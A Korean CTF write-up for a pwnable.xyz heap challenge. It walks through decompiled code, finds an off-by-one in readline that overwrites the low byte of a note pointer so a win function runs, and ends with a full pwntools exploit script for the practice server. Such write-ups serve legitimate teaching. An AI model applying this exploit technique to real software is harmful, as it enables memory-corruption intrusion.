1. 문제
1) mitigation 확인
PIE가 안걸려있다.
2) 문제 확인
바이너리를 실행하면 처음에 노트북 이름을 입력받는다. 그다음 1번 메뉴로 노트의 사이즈를 선택하여 타이틀 및 노트를 입력 가능하다. 2번 메뉴로 노트에 입력한 내용을 수정 가능하며, 3번으로 삭제를 한다. 마지막 4번으로는 초기에 입력한 노트북 이름을 수정 할 수 있다.
3) 코드 확인
•
main() 함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
printf("Name your notebook: ");
readline((uint8_t *)&nbook, 0x80, '\n');
while ( 1 )
{
print_menu();
switch ( (unsigned __int64)(unsigned int)read_int() )
{
case 0uLL:
return 0;
case 1uLL:
make_note();
break;
case 2uLL:
edit_note();
break;
case 3uLL:
delete_note();
break;
case 4uLL:
printf("Notebook name: ");
readline((uint8_t *)&nbook, 0x80, '\n');
break;
default:
puts("Invalid");
break;
}
}
}
C
복사
초기에 readline() 함수로 이름을 0x80 사이즈 만큼 입력 받는다. 그다음 각 메뉴에 따라서 반복문이 돌게 된다. 1번 부터 살펴보자
•
make_note() 함수
notebook *make_note()
{
notebook *result; // rax
int size; // [rsp+4h] [rbp-Ch]
notebook *makenote; // [rsp+8h] [rbp-8h]
printf("size: ");
size = read_int();
makenote = (notebook *)malloc(0x38uLL);
makenote->note = (char *)malloc(size);
makenote->size = size;
makenote->getsize = (void (__fastcall **)(char *))get_size;
printf("Title: ");
readline(makenote->title, 0x1F, '\n');
printf("Note: ");
readline((uint8_t *)makenote->note, size, '\n');
result = makenote;
ptr = makenote;
return result;
}
C
복사
사이즈를 입력 받고 0x38 사이즈 malloc을 한다. 그다음 입력한 사이즈 만큼 한번더 malloc을 한다. 그리고 사이즈, get_size 함수포이터 를 makenote에 저장을 한다. 그리고 타이틀과 노트를 입력받는다. make_note() 함수가 호출되고 났을때의 힙 구조는 다음과 같다
한번 호출할때 마다 청크는 2개 생긴다. 고정사이즈 0x40 과 note 가 들어가 청크이다. 주황색에 타이틀이 입력되고, 노란색 부분에 노트가 입력된다. 그리고 해당 청크의 시작 주소가 ptr 에 복사된다.
•
edit_note() 함수
void *edit_note()
{
void *result; // rax
int v1; // eax
result = ptr;
if ( ptr )
{
result = ptr->note;
if ( result )
{
printf("note: ");
v1 = ((__int64 (__fastcall *)(notebook *))ptr->getsize)(ptr);
result = (void *)readline((uint8_t *)ptr->note, v1, '\n');
}
}
return result;
}
C
복사
ptr→note가 존재한다면 ptr→getsize 함수를 호출하여 사이즈를 찾아낸뒤, 노트를 해당 사이즈 만큼 수정 가능하다.
2. 접근방법
readline() 함수에서 취약점이 터진다.
unsigned __int64 __fastcall readline(uint8_t *a1, int a2, char a3)
{
char v4; // [rsp+0h] [rbp-20h]
uint8_t buf; // [rsp+13h] [rbp-Dh]
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v4 = a3;
v7 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
read(0, &buf, 1uLL);
if ( buf == v4 )
break;
a1[i] = buf;
}
a1[i] = buf;
return __readfsqword(0x28u) ^ v7;
}
C
복사
a3은 '\n' 을 나타내고 있는데, 입력한 마지막 문자열이 개행문자면 이를 맨 마지막에 넣는다. 하지만 만약 개행이 없다면, buf에 담겨져 있는 문자 하나를 맨 마지막에 넣을 수 있고, 이를 통해 off-by-one이 발생한다.
bss 영역을 보면 nbook 변수에 이름이 최대 0x80 입력가능하다. 하지만 off-by-one을 이용하여 한바이트를 수정 가능하고, 이는 ptr의 하위 한바이트 값을 변경할수 있다. make_note() 함수에서 처음 할당되는 청크는 0x40 청크 사이즈이다.
make_note() 가 한번 호출되면, ptr에 0x603010 주소가 들어간다. 그리고 3번 메뉴로 edit_note()를 호출한다면, 0x603010에 들어있는 get_size를 호출한다. 하지만 make_note() 함수를 호출한 뒤에, 4번 메뉴로 이름을 수정하고, off-by-one을 이용하여 ptr의 하위 한바이트를 0x50으로 수정한뒤에 edit_note()를 호출하면 어케 될까?
ptr→note 즉 0x603050 + 0x30에 값이 있는지 확인한다음, 존재한다면, 0x603050에 들어있는 함수포인터를 실행할 것이다. 따라서 첫번째 make_note() 호출시 사이즈 를 0x50 정도 적당히 할당하고, 0x603050에 win 주소, +0x30에 아무 값을 넣은뒤에, 4번 메뉴로 ptr 하위 한바이트를 0x50로 수정한다면, get_size가 호출되는 것이 아니라 win함수가 호출될 것이다.
3. 풀이
최종 익스코드는 다음과 같다
from pwn import *
context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30035)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0xc14+$code\n')
p.sendlineafter("notebook: ","A")
p.sendlineafter("> ","1")
p.sendlineafter("size: ","56")
p.sendlineafter("Title: ","B")
p.sendafter("Note: ",p64(0x40092C)+"C"*40+p64(0x123456))
p.sendlineafter("> ","4")
p.sendafter("Notebook name: ","A"*0x7f+"\x50")
p.sendlineafter("> ","2")
p.interactive()
Python
복사
4. 몰랐던 개념
•
none